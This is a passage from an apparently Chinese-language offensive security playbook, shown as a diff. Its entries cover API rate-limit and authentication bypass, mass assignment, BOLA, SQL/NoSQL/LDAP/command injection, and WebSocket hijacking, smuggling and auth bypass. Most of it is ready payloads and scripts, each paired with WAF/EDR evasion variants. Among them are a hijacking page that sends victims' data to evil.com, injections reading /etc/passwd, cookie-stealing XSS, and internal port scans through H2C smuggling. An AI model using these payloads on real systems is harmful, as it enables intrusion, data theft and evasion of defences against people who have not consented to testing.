+ curl -A "Googlebot" http://target.com/api/test
1273
+ curl -A "Bingbot" http://target.com/api/test
1274
+
1275
+ # 认证绕过
1276
+ # 使用不同账户
1277
+ for token in $TOKENS; do
1278
+ curl -H "Authorization: Bearer $token" http://target.com/api/test
1279
+ done
1280
+
1281
+ # HTTP/2多路复用
1282
+ # 单个连接发送多个请求
1283
+
1284
+ # 缓慢请求
1285
+ # Slowloris攻击
1286
+ ```
1287
+
1288
+ **WAF/EDR 绕过变体:**
1289
+
1290
+ **1. API Key轮换**
1291
+ _API Key轮换_
1292
+ ```
1293
+ # 使用多个API Key
1294
+ api_keys = ["key1", "key2", "key3", "key4"]
1295
+ for i, key in enumerate(api_keys):
1296
+ requests.get("http://target.com/api/test", headers={"X-API-Key": key})
1297
+
1298
+ # 注册多个账户获取多个Token
1299
+ ```
1300
+
1301
+ **2. 请求分散**
1302
+ _请求分散_
1303
+ ```
1304
+ # 添加延迟
1305
+ import time
1306
+ for i in range(100):
1307
+ requests.get("http://target.com/api/test")
1308
+ time.sleep(0.5) # 每次请求头隔0.5秒
1309
+
1310
+ # 分散到不同时间段
1311
+ # 使用定时任务分散请求
1312
+ ```
1313
+
1314
+ ---
1315
+
1316
+ ### 批量赋值漏洞 `api-mass-assignment`
1317
+ 利用批量赋值漏洞修改敏感字段
1318
+ 子类:**批量赋值** · tags: `api` `mass-assignment` `privilege-escalation`
1319
+
1320
+ **前置条件:** API接受JSON输入;存在未过滤的字段
1321
+
1322
+ **攻击链:**
1323
+
1324
+ **1. 1. 识别输入字段**
1325
+ _识别返回的字段_
1326
+ ```
1327
+ # 正常请求
1328
+ POST /api/users
1329
+ {
1330
+ "name": "test",
1331
+ "email": "test@test.com"
1332
+ }
1333
+
1334
+ # 观察响应
1335
+ {
1336
+ "id": 1,
1337
+ "name": "test",
1338
+ "email": "test@test.com",
1339
+ "role": "user",
1340
+ "isAdmin": false,
1341
+ "createdAt": "2024-01-01"
1342
+ }
1343
+ ```
1344
+
1345
+ **2. 2. 添加敏感字段**
1346
+ _添加敏感字段_
1347
+ ```
1348
+ # 尝试添加role字段
1349
+ POST /api/users
1350
+ {
1351
+ "name": "test",
1352
+ "email": "test@test.com",
1353
+ "role": "admin"
1354
+ }
1355
+
1356
+ # 尝试isAdmin
1357
+ {
1358
+ "name": "test",
1359
+ "email": "test@test.com",
1360
+ "isAdmin": true
1361
+ }
1362
+
1363
+ # 尝试多个字段
1364
+ {
1365
+ "name": "test",
1366
+ "email": "test@test.com",
1367
+ "role": "admin",
1368
+ "isAdmin": true,
1369
+ "permissions": ["read", "write", "delete"]
1370
+ }
1371
+ ```
1372
+
1373
+ **3. 3. 更新操作**
1374
+ _更新操作测试_
1375
+ ```
1376
+ # PUT/PATCH更新
1377
+ PATCH /api/users/123
1378
+ {
1379
+ "role": "admin"
1380
+ }
1381
+
1382
+ # 尝试修改其他用户
1383
+ PATCH /api/users/1
1384
+ {
1385
+ "role": "admin"
1386
+ }
1387
+
1388
+ # 尝试修改密码
1389
+ PATCH /api/users/me
1390
+ {
1391
+ "password": "newpassword123"
1392
+ }
1393
+ ```
1394
+
1395
+ **4. 4. 嵌套对象**
1396
+ _嵌套对象测试_
1397
+ ```
1398
+ # 嵌套对象赋值
1399
+ {
1400
+ "name": "test",
1401
+ "settings": {
1402
+ "notifications": true,
1403
+ "isAdmin": true
1404
+ }
1405
+ }
1406
+
1407
+ # 数组赋值
1408
+ {
1409
+ "name": "test",
1410
+ "roles": ["admin", "superadmin"]
1411
+ }
1412
+ ```
1413
+
1414
+ **WAF/EDR 绕过变体:**
1415
+
1416
+ **1. 字段变体**
1417
+ _尝试字段变体_
1418
+ ```
1419
+ # 尝试不同字段名
1420
+ is_admin, is_Admin, IS_ADMIN
1421
+ admin, Admin, ADMIN
1422
+ user_type, userType, user_type_id
1423
+
1424
+ # 尝试内部字段
1425
+ __v, _id, created_at, updated_at
1426
+ password_hash, passwordHash
1427
+ ```
1428
+
1429
+ **2. 类型混淆**
1430
+ _类型混淆测试_
1431
+ ```
1432
+ # 数字转布尔
1433
+ {"isAdmin": 1}
1434
+ {"isAdmin": "true"}
1435
+
1436
+ # 数组转字符串
1437
+ {"roles": "admin"}
1438
+
1439
+ # 对象转数组
1440
+ {"settings": ["admin"]}
1441
+ ```
1442
+
1443
+ ---
1444
+
1445
+ ### BOLA破坏对象级授权 `api-bola`
1446
+ 利用BOLA漏洞访问未授权对象
1447
+ 子类:**BOLA** · tags: `api` `bola` `authorization` `idor`
1448
+
1449
+ **前置条件:** API使用对象ID;授权检查缺陷
1450
+
1451
+ **攻击链:**
1452
+
1453
+ **1. 1. 识别对象访问**
1454
+ _识别对象访问模式_
1455
+ ```
1456
+ # 观察API端点
1457
+ GET /api/users/{user_id}/documents
1458
+ GET /api/teams/{team_id}/members
1459
+ GET /api/orders/{order_id}
1460
+
1461
+ # 分析对象关系
1462
+ # 用户 -> 文档
1463
+ # 团队 -> 成员
1464
+ # 订单 -> 用户
1465
+ ```
1466
+
1467
+ **2. 2. 测试授权**
1468
+ _测试授权检查_
1469
+ ```
1470
+ # 创建两个账户测试
1471
+ # 用户A: user_a_token
1472
+ # 用户B: user_b_token
1473
+
1474
+ # 用户A创建资源
1475
+ POST /api/documents
1476
+ Authorization: Bearer user_a_token
1477
+ {"title": "Secret Doc"}
1478
+ # 返回: {"id": "doc_123"}
1479
+
1480
+ # 用户B尝试访问
1481
+ GET /api/documents/doc_123
1482
+ Authorization: Bearer user_b_token
1483
+ # 如果返回200,存在BOLA
1484
+ ```
1485
+
1486
+ **3. 3. 横向访问**
1487
+ _横向访问测试_
1488
+ ```
1489
+ # 枚举其他用户资源
1490
+ for doc_id in doc_1 doc_2 doc_3; do
1491
+ curl -H "Authorization: Bearer $TOKEN" "http://target.com/api/documents/$doc_id"
1492
+ done
1493
+
1494
+ # 访问其他用户私有数据
1495
+ GET /api/users/2/profile
1496
+ GET /api/users/2/settings
1497
+ GET /api/users/2/credit-cards
1498
+ ```
1499
+
1500
+ **4. 4. 修改/删除操作**
1501
+ _修改/删除操作测试_
1502
+ ```
1503
+ # 修改其他用户数据
1504
+ PUT /api/documents/doc_123
1505
+ Authorization: Bearer user_b_token
1506
+ {"title": "Modified by B"}
1507
+
1508
+ # 删除其他用户数据
1509
+ DELETE /api/documents/doc_123
1510
+ Authorization: Bearer user_b_token
1511
+
1512
+ # 添加到其他团队
1513
+ POST /api/teams/team_1/members
1514
+ Authorization: Bearer attacker_token
1515
+ {"user_id": "attacker_id"}
1516
+ ```
1517
+
1518
+ **WAF/EDR 绕过变体:**
1519
+
1520
+ **1. 路径遍历**
1521
+ _路径遍历绕过_
1522
+ ```
1523
+ # 路径遍历访问
1524
+ GET /api/users/../admin
1525
+ GET /api/users/..%2Fadmin
1526
+
1527
+ # 编码绕过
1528
+ GET /api/users/%2e%2e/admin
1529
+ GET /api/users/..%c0%afadmin
1530
+ ```
1531
+
1532
+ **2. 参数篡改**
1533
+ _参数篡改绕过_
1534
+ ```
1535
+ # 修改请求方法
1536
+ # GET变POST
1537
+ POST /api/documents/doc_123
1538
+
1539
+ # 添加参数
1540
+ GET /api/documents/doc_123?user_id=attacker
1541
+
1542
+ # 修改Content-Type
1543
+ Content-Type: application/xml
1544
+ <document><id>doc_123</id></document>
1545
+ ```
1546
+
1547
+ ---
1548
+
1549
+ ### API注入攻击 `api-injection`
1550
+ API端点中的各类注入攻击
1551
+ 子类:**API注入** · tags: `api` `injection` `sqli` `nosqli`
1552
+
1553
+ **前置条件:** API接受用户输入;输入未正确过滤
1554
+
1555
+ **攻击链:**
1556
+
1557
+ **1. 1. SQL注入**
1558
+ _API SQL注入_
1559
+ ```
1560
+ # REST API SQL注入
1561
+ GET /api/users?id=1 OR 1=1
1562
+ GET /api/users?name=admin'--
1563
+ GET /api/users?sort=name; SELECT SLEEP(5)--
1564
+
1565
+ # POST请求注入
1566
+ POST /api/users
1567
+ {"name": "admin' OR '1'='1"}
1568
+
1569
+ # JSON注入
1570
+ POST /api/search
1571
+ {"query": "test' UNION SELECT username,password FROM users--"}
1572
+ ```
1573
+
1574
+ **2. 2. NoSQL注入**
1575
+ _NoSQL注入_
1576
+ ```
1577
+ # MongoDB注入
1578
+ GET /api/users?name[$ne]=
1579
+ GET /api/users?age[$gt]=0
1580
+ GET /api/users?role[$ne]=user
1581
+
1582
+ # POST请求
1583
+ POST /api/login
1584
+ {"username": "admin", "password": {"$ne": ""}}
1585
+
1586
+ {"username": "admin", "password": {"$regex": ".*"}}
1587
+
1588
+ # 嵌套查询
1589
+ {"$where": "this.password == this.password"}
1590
+ {"$where": "return true"}
1591
+ ```
1592
+
1593
+ **3. 3. LDAP注入**
1594
+ _LDAP注入_
1595
+ ```
1596
+ # LDAP注入
1597
+ GET /api/users?name=*)(uid=*))(|(uid=*
1598
+ GET /api/login?user=*&password=*
1599
+
1600
+ # 认证绕过
1601
+ POST /api/auth
1602
+ {"user": "admin)(|(password=*))", "password": "x"}
1603
+
1604
+ # 信息泄露
1605
+ GET /api/search?name=*)(objectClass=*)
1606
+ ```
1607
+
1608
+ **4. 4. 命令注入**
1609
+ _命令注入_
1610
+ ```
1611
+ # OS命令注入
1612
+ GET /api/ping?host=127.0.0.1;id
1613
+ GET /api/convert?file=test.pdf;cat /etc/passwd
1614
+
1615
+ # POST请求
1616
+ POST /api/exec
1617
+ {"cmd": "ls -la; cat /etc/passwd"}
1618
+
1619
+ # 反引号注入
1620
+ GET /api/check?host=`id`
1621
+ GET /api/check?host=$(id)
1622
+ ```
1623
+
1624
+ **WAF/EDR 绕过变体:**
1625
+
1626
+ **1. 编码绕过**
1627
+ _编码绕过_
1628
+ ```
1629
+ # URL编码
1630
+ GET /api/users?id=1%20OR%201%3D1
1631
+
1632
+ # Unicode编码
1633
+ GET /api/users?id=1%u0020OR%u00201%3D1
1634
+
1635
+ # 双重编码
1636
+ GET /api/users?id=1%2520OR%25201%253D1
1637
+ ```
1638
+
1639
+ **2. Content-Type绕过**
1640
+ _Content-Type绕过_
1641
+ ```
1642
+ # 切换Content-Type
1643
+ Content-Type: application/xml
1644
+ <user><id>1 OR 1=1</id></user>
1645
+
1646
+ Content-Type: application/x-www-form-urlencoded
1647
+ id=1+OR+1=1
1648
+
1649
+ # JSON数组
1650
+ {"id": ["1", "OR", "1=1"]}
1651
+ ```
1652
+
1653
+ ---
1654
+
1655
+ ### · WebSocket安全
1656
+
1657
+ ### WebSocket跨站劫持(CSWSH) `ws-hijack`
1658
+ 利用WebSocket握手阶段缺少Origin验证的漏洞,通过恶意网页建立跨站WebSocket连接。攻击者可劫持受害者的WebSocket会话,窃取实时数据或以受害者身份发送消息。类似于CSRF但针对WebSocket协议。
1659
+ 子类:**WebSocket劫持** · tags: `WebSocket` `CSWSH` `Origin` `跨站` `会话劫持`
1660
+
1661
+ **前置条件:** 目标使用WebSocket通信;WebSocket握手未验证Origin
1662
+
1663
+ **攻击链:**
1664
+
1665
+ **1. 1. 识别WebSocket端点**
1666
+ _搜索WebSocket端点并测试是否接受任意Origin的跨站连接_
1667
+ ```
1668
+ # 从前端代码搜索WebSocket连接
1669
+ curl -s "https://{TARGET}/static/js/main.js" | grep -oP "wss?://[^\x27\x22\s]+"
1670
+
1671
+ # 浏览器开发者工具检查(Console)
1672
+ # 在Network标签筛选WS类型请求
1673
+
1674
+ # 手动连接测试
1675
+ websocat "wss://{TARGET}/ws" -H "Origin: https://evil.com" --no-close
1676
+
1677
+ # 检查握手响应中的Origin处理
1678
+ curl -i -N -H "Connection: Upgrade" -H "Upgrade: websocket" \
1679
+ -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGVzdA==" \
1680
+ -H "Origin: https://evil.com" \
1681
+ "https://{TARGET}/ws"
1682
+ ```
1683
+
1684
+ **2. 2. 构造跨站劫持POC页面**
1685
+ _创建恶意HTML页面利用受害者Cookie建立WebSocket连接并窃取数据_
1686
+ ```
1687
+ <!-- CSWSH攻击页面 -->
1688
+ <html>
1689
+ <body>
1690
+ <h1>WebSocket Cross-Site Hijacking POC</h1>
1691
+ <div id="output"></div>
1692
+ <script>
1693
+ // 目标WebSocket——浏览器会自动带上Cookie
1694
+ var ws = new WebSocket("wss://{TARGET}/ws");
1695
+
1696
+ ws.onopen = function() {
1697
+ document.getElementById("output").innerHTML += "<p>Connected!</p>";
1698
+ // 以受害者身份发送消息
1699
+ ws.send(JSON.stringify({action: "get_profile"}));
1700
+ ws.send(JSON.stringify({action: "list_messages"}));
1701
+ };
1702
+
1703
+ ws.onmessage = function(evt) {
1704
+ // 窃取WebSocket返回的数据
1705
+ document.getElementById("output").innerHTML += "<pre>" + evt.data + "</pre>";
1706
+ // 外带到攻击者服务器
1707
+ fetch("https://evil.com/collect", {
1708
+ method: "POST",
1709
+ body: evt.data
1710
+ });
1711
+ };
1712
+ </script>
1713
+ </body>
1714
+ </html>
1715
+ ```
1716
+
1717
+ **3. 3. WebSocket消息注入**
1718
+ _通过WebSocket消息注入SQL/XSS/命令注入payload_
1719
+ ```
1720
+ # 如果WebSocket消息被拼入后端查询
1721
+ # SQL注入
1722
+ ws.send(JSON.stringify({
1723
+ action: "search",
1724
+ query: "test\x27 UNION SELECT username,password FROM users--"
1725
+ }));
1726
+
1727
+ # XSS(如果消息被渲染到其他用户页面)
1728
+ ws.send(JSON.stringify({
1729
+ action: "chat",
1730
+ message: "<img src=x onerror=alert(document.cookie)>"
1731
+ }));
1732
+
1733
+ # 命令注入
1734
+ ws.send(JSON.stringify({
1735
+ action: "exec",
1736
+ target: "127.0.0.1;id"
1737
+ }));
1738
+ ```
1739
+
1740
+ **4. 4. WebSocket流量分析脚本**
1741
+ _Python脚本实时监控WebSocket流量并记录敏感数据_
1742
+ ```
1743
+ # Python WebSocket监听和分析脚本
1744
+ import asyncio
1745
+ import websockets
1746
+ import json
1747
+
1748
+ async def monitor():
1749
+ uri = "wss://{TARGET}/ws"
1750
+ headers = {"Cookie": "{SESSION_COOKIE}"}
1751
+
1752
+ async with websockets.connect(uri, extra_headers=headers) as ws:
1753
+ # 发送认证消息
1754
+ await ws.send(json.dumps({"type": "auth", "token": "{TOKEN}"}))
1755
+
1756
+ while True:
1757
+ msg = await ws.recv()
1758
+ data = json.loads(msg)
1759
+ print(f"[{data.get('type', 'unknown')}] {msg}")
1760
+
1761
+ # 记录敏感数据
1762
+ if 'password' in msg.lower() or 'token' in msg.lower():
1763
+ with open('ws_sensitive.log', 'a') as f:
1764
+ f.write(msg + '\n')
1765
+
1766
+ asyncio.run(monitor())
1767
+ ```
1768
+
1769
+ **WAF/EDR 绕过变体:**
1770
+
1771
+ **1. 绕过Origin验证**
1772
+ _通过Origin伪造、子域名、null Origin和子协议绕过WebSocket Origin验证_
1773
+ ```
1774
+ # Origin头伪造(仅在非浏览器环境有效)
1775
+ websocat "wss://{TARGET}/ws" -H "Origin: https://{TARGET}"
1776
+
1777
+ # 子域名绕过
1778
+ Origin: https://test.{TARGET} # 如果验证不严格
1779
+ Origin: https://{TARGET}.evil.com # 域名后缀混淆
1780
+
1781
+ # null Origin(某些浏览器场景)
1782
+ # 使用data: URI或沙箱iframe
1783
+ <iframe sandbox="allow-scripts" src="data:text/html,<script>new WebSocket('wss://{TARGET}/ws')</script>">
1784
+
1785
+ # 使用WebSocket子协议绕过
1786
+ Sec-WebSocket-Protocol: graphql-ws, chat
1787
+ ```
1788
+
1789
+ ---
1790
+
1791
+ ### WebSocket走私攻击 `ws-smuggling`
1792
+ 利用反向代理/负载均衡器对WebSocket协议处理的差异,通过WebSocket升级请求走私HTTP请求到内网服务。攻击者可绕过前端安全控制直接与后端通信,访问受保护的内部API或管理接口。
1793
+ 子类:**WebSocket走私** · tags: `WebSocket` `走私` `反向代理` `H2C` `内网穿透`
1794
+
1795
+ **前置条件:** 目标使用反向代理(Nginx/Varnish等);代理允许WebSocket升级;后端存在内部服务
1796
+
1797
+ **攻击链:**
1798
+
1799
+ **1. 1. 检测WebSocket走私可能性**
1800
+ _通过Upgrade请求测试反向代理是否存在WebSocket/H2C走私漏洞_
1801
+ ```
1802
+ # 测试Upgrade响应
1803
+ curl -i -H "Connection: Upgrade" -H "Upgrade: websocket" \
1804
+ -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGVzdA==" \
1805
+ "https://{TARGET}/"
1806
+
1807
+ # 测试H2C走私(HTTP/2 Cleartext)
1808
+ curl -i -H "Connection: Upgrade, HTTP2-Settings" \
1809
+ -H "Upgrade: h2c" \
1810
+ -H "HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA" \
1811
+ "https://{TARGET}/"
1812
+
1813
+ # 检测代理类型
1814
+ curl -I "https://{TARGET}/" | grep -iE "server:|via:|x-powered-by:"
1815
+ ```
1816
+
1817
+ **2. 2. WebSocket隧道构造**
1818
+ _WebSocket升级后通过原始Socket发送走私的HTTP请求访问内部接口_
1819
+ ```
1820
+ # 使用Python构造WebSocket走私
1821
+ import socket, ssl, base64
1822
+
1823
+ def ws_smuggle(target_host, target_port, internal_path):
1824
+ # WebSocket握手
1825
+ key = base64.b64encode(b"test1234test1234").decode()
1826
+ upgrade = (
1827
+ f"GET / HTTP/1.1\r\n"
1828
+ f"Host: {target_host}\r\n"
1829
+ f"Upgrade: websocket\r\n"
1830
+ f"Connection: Upgrade\r\n"
1831
+ f"Sec-WebSocket-Version: 13\r\n"
1832
+ f"Sec-WebSocket-Key: {key}\r\n"
1833
+ f"\r\n"
1834
+ )
1835
+
1836
+ ctx = ssl.create_default_context()
1837
+ sock = ctx.wrap_socket(socket.socket(), server_hostname=target_host)
1838
+ sock.connect((target_host, target_port))
1839
+ sock.send(upgrade.encode())
1840
+
1841
+ resp = sock.recv(4096).decode()
1842
+ print(f"Upgrade response: {resp[:100]}")
1843
+
1844
+ if "101" in resp:
1845
+ # 走私HTTP请求到内网
1846
+ smuggled = (
1847
+ f"GET {internal_path} HTTP/1.1\r\n"
1848
+ f"Host: 127.0.0.1\r\n"
1849
+ f"\r\n"
1850
+ )
1851
+ sock.send(smuggled.encode())
1852
+ print(sock.recv(4096).decode())
1853
+
1854
+ ws_smuggle("{TARGET}", 443, "/admin/")
1855
+ ```
1856
+
1857
+ **3. 3. H2C走私绕过访问控制**
1858
+ _使用h2cSmuggler工具通过HTTP/2升级走私访问内网服务和管理接口_
1859
+ ```
1860
+ # h2cSmuggler工具
1861
+ python3 h2cSmuggler.py -x "https://{TARGET}" \
1862
+ "http://{TARGET}/admin/"
1863
+
1864
+ # 手动H2C走私——访问内部API
1865
+ python3 h2cSmuggler.py -x "https://{TARGET}" \
1866
+ "http://127.0.0.1:8080/api/internal/users"
1867
+
1868
+ # 扫描内网端口
1869
+ for port in 80 8080 8443 9090 3000 5000; do
1870
+ python3 h2cSmuggler.py -x "https://{TARGET}" \
1871
+ "http://127.0.0.1:$port/" 2>/dev/null && echo "Port $port: OPEN"
1872
+ done
1873
+ ```
1874
+
1875
+ **4. 4. 反向代理差异利用**
1876
+ _利用不同反向代理(Nginx/Varnish/HAProxy)的WebSocket处理差异进行走私_
1877
+ ```
1878
+ # Nginx WebSocket走私
1879
+ # 如果Nginx配置proxy_pass到后端
1880
+ # 但未限制Upgrade请求
1881
+
1882
+ # 测试反向代理路径差异
1883
+ curl -H "Connection: Upgrade" -H "Upgrade: websocket" \
1884
+ "https://{TARGET}/..;/admin/"
1885
+
1886
+ # Varnish缓存投毒+WebSocket
1887
+ curl -H "Connection: Upgrade" -H "Upgrade: websocket" \
1888
+ -H "X-Forwarded-Host: evil.com" \
1889
+ "https://{TARGET}/"
1890
+
1891
+ # HAProxy WebSocket走私
1892
+ # 利用HAProxy在Upgrade后不再检查后续请求
1893
+ curl -H "Connection: Upgrade" -H "Upgrade: websocket" \
1894
+ "https://{TARGET}/" --next -H "Host: internal" "https://{TARGET}/admin/"
1895
+ ```
1896
+
1897
+ **WAF/EDR 绕过变体:**
1898
+
1899
+ **1. 绕过WAF的WebSocket检测**
1900
+ _通过大小写混淆、分块传输和压缩Extension绕过WAF对WebSocket走私的检测_
1901
+ ```
1902
+ # 大小写混淆
1903
+ Connection: upgrade
1904
+ Upgrade: WebSocket # 大小写变体
1905
+ Upgrade: WEBSOCKET
1906
+
1907
+ # 分块传输隐藏走私内容
1908
+ Transfer-Encoding: chunked
1909
+ # 在WebSocket帧中嵌入HTTP请求
1910
+
1911
+ # 使用WebSocket Extension混淆
1912
+ Sec-WebSocket-Extensions: permessage-deflate
1913
+ # 压缩后的恶意消息难以被WAF检测
1914
+
1915
+ # 伪装为正常WebSocket流量
1916
+ # 先发送正常消息,延迟后发送走私请求
1917
+ ```
1918
+
1919
+ ---
1920
+
1921
+ ### WebSocket认证与授权绕过 `ws-auth-bypass`
1922
+ 利用WebSocket连接建立后缺少持续认证检查的漏洞,通过会话固定、令牌重放、频道越权订阅等方式绕过认证和授权机制。WebSocket的长连接特性使得权限变更后原连接仍可保持访问。
1923
+ 子类:**认证绕过** · tags: `WebSocket` `认证` `授权` `越权` `Token重放`
1924
+
1925
+ **前置条件:** 目标使用WebSocket实时通信;已获取有效会话/Token
1926
+
1927
+ **攻击链:**
1928
+
1929
+ **1. 1. WebSocket认证机制分析**
1930
+ _通过Monkey-patch WebSocket对象拦截和分析认证流程_
1931
+ ```
1932
+ # 抓取WebSocket握手和初始消息
1933
+ # 在浏览器Console中:
1934
+ const origWS = WebSocket;
1935
+ window.WebSocket = function(url, protocols) {
1936
+ console.log("[WS] Connecting to:", url);
1937
+ const ws = new origWS(url, protocols);
1938
+ const origSend = ws.send.bind(ws);
1939
+ ws.send = function(data) {
1940
+ console.log("[WS] SEND:", data);
1941
+ origSend(data);
1942
+ };
1943
+ ws.addEventListener("message", e => console.log("[WS] RECV:", e.data));
1944
+ return ws;
1945
+ };
1946
+
1947
+ # 观察认证流程:
1948
+ # 1. Cookie/Token在握手阶段传递?
1949
+ # 2. 连接后发送auth消息?
1950
+ # 3. 是否有心跳保活机制?
1951
+ ```
1952
+
1953
+ **2. 2. Token重放与会话固定**
1954
+ _测试Token过期后的重放和WebSocket连接在注销后是否仍活跃_
1955
+ ```
1956
+ # 测试Token过期后是否仍可使用
1957
+ # Step 1: 记录有效Token
1958
+ TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
1959
+
1960
+ # Step 2: 等待Token过期/注销账号
1961
+ # Step 3: 尝试用旧Token建立WebSocket连接
1962
+ websocat "wss://{TARGET}/ws" \
1963
+ -H "Authorization: Bearer $TOKEN" 2>&1 | head -5
1964
+
1965
+ # 测试WebSocket连接在用户注销后是否仍然活跃
1966
+ # (WebSocket长连接可能不受HTTP会话注销影响)
1967
+
1968
+ # 会话固定——使用他人Token
1969
+ websocat "wss://{TARGET}/ws" \
1970
+ -H "Cookie: session={OTHER_USER_SESSION}"
1971
+ ```
1972
+
1973
+ **3. 3. 频道/房间越权订阅**
1974
+ _测试WebSocket频道/房间的授权控制,尝试越权订阅他人私有频道_
1975
+ ```
1976
+ # 订阅其他用户的私有频道
1977
+ ws.send(JSON.stringify({
1978
+ action: "subscribe",
1979
+ channel: "user.1002.notifications" // 尝试订阅其他用户
1980
+ }));
1981
+
1982
+ # 订阅管理员频道
1983
+ ws.send(JSON.stringify({
1984
+ action: "subscribe",
1985
+ channel: "admin.dashboard"
1986
+ }));
1987
+
1988
+ # 遍历频道ID
1989
+ for (let i = 1; i <= 100; i++) {
1990
+ ws.send(JSON.stringify({
1991
+ action: "subscribe",
1992
+ channel: `user.${i}.messages`
1993
+ }));
1994
+ }
1995
+
1996
+ # 测试频道名注入
1997
+ ws.send(JSON.stringify({
1998
+ action: "subscribe",
1999
+ channel: "public.*" // 通配符订阅
2000
+ }));
2001
+ ```
2002
+
2003
+ **4. 4. WebSocket速率限制与DoS测试**
2004
+ _测试WebSocket的消息速率限制和大小限制_
2005
+ ```
2006
+ # 测试消息速率限制
2007
+ import asyncio, websockets, json, time
2008
+
2009
+ async def rate_test():
2010
+ uri = "wss://{TARGET}/ws"
2011
+ async with websockets.connect(uri) as ws:
2012
+ # 快速发送消息测试速率限制
2013
+ start = time.time()
2014
+ for i in range(1000):
2015
+ await ws.send(json.dumps({"action": "ping", "seq": i}))
2016
+ elapsed = time.time() - start
2017
+ print(f"Sent 1000 messages in {elapsed:.2f}s")
2018
+
2019
+ # 大消息测试
2020
+ large_msg = "A" * (1024 * 1024) # 1MB
2021
+ try:
2022
+ await ws.send(large_msg)
2023
+ print("Large message accepted - no size limit!")
2024
+ except Exception as e:
2025
+ print(f"Large message rejected: {e}")
2026
+
2027
+ asyncio.run(rate_test())
2028
+ ```
2029
+
2030
+ **WAF/EDR 绕过变体:**
2031
+
2032
+ **1. 绕过WebSocket认证机制**
2033
+ _利用协议降级、重连机制和轮询降级绕过WebSocket认证_
2034
+ ```
2035
+ # 使用低权限Token获取高权限WebSocket连接
2036
+ # 某些实现仅在握手时验证Token,连接后不再检查
2037
+
2038
+ # 利用WebSocket重连机制
2039
+ # 某些客户端实现会在断线后自动重连
2040
+ # 拦截重连请求替换Token
2041
+
2042
+ # 协议降级攻击
2043
+ # 从wss://降级到ws://(如果后端支持)
2044
+ websocat "ws://{TARGET}/ws" -H "Cookie: session={TOKEN}"
2045
+
2046
+ # 利用Socket.io/SockJS的HTTP降级
2047
+ curl "https://{TARGET}/socket.io/?EIO=4&transport=polling&sid={SID}"
2048
+ ```
2049
+
2050
+ ---